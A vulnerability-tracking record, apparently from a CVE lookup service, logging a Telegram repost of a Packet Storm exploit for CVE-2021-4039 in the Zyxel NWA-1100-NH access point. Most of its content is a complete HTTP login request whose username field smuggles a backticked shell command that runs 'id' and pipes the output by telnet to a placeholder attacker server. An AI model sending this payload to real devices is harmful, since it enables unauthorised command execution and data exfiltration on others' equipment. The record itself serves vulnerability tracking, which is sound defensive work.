{"uuid": "0479d127-569a-4095-8175-8299e545faf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-4039", "type": "seen", "source": "https://t.me/hacking_Attack/50414", "content": "Exploit Collector\nZyxel NWA-1100-NH Command Injection\n\nhttps://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png \nZyxel NWA-1100-NH suffers from a command injection vulnerability.\n\nMD5 | 53c249ea28f87b074031df4366526f25\n\nDownload\n# Exploit Title: Zyxel NWA-1100-NH - Command Injection\n# Date: 12/4/2022\n# Exploit Author: Ahmed Alroky\n# Vendor Homepage: https://www.zyxel.com/homepage.shtml\n# Version: ALL BEFORE 2.12\n# Tested on: Linux\n# CVE : CVE-2021-4039\n# References : https://download.zyxel.com/NWA1100-NH/firmware/NWA1100-NH_2.12(AASI.3)C0_2.pdf , \nhttps://www.zyxel.com/support/OS-command-injection-vulnerability-of-NWA1100-NH-access-point.shtml\nHTTP Request :\n\nPOST /login/login.html HTTP/1.1\nHost: IP_address:8081\nContent-Length: 80\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http:/IP_address:8081\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://IP_address:8081/login/login.html\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nmyname=ffUfRAgO%60id%7ctelnet%20yourserverhere%2021%60&mypasswd=test&Submit=Login\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:44.043730Z"}